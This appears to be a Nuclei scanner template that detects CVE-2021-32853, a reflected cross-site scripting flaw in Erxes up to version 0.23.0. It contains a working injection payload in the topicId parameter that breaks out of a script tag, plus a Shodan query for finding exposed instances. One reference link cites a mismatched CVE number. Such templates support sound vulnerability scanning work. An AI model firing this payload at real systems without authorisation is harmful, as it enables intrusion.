id: CVE-2021-32853

info:
  name: Erxes <= v0.23.0 XSS
  author: dwisiswant0
  severity: medium
  description: Erxes prior to version 0.23.0 is vulnerable to cross-site scripting.The value of topicID parameter is not escaped & triggered in the enclosing script tag.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3285
  metadata:
    shodan-query: http.title:"erxes"
  classification:
    cve-id: CVE-2021-32853
  tags: cve,cve2021,xss,erxes,oss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'topic_id: "</script><script>alert(document.domain)</script>'
          - "window.erxesEnv"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200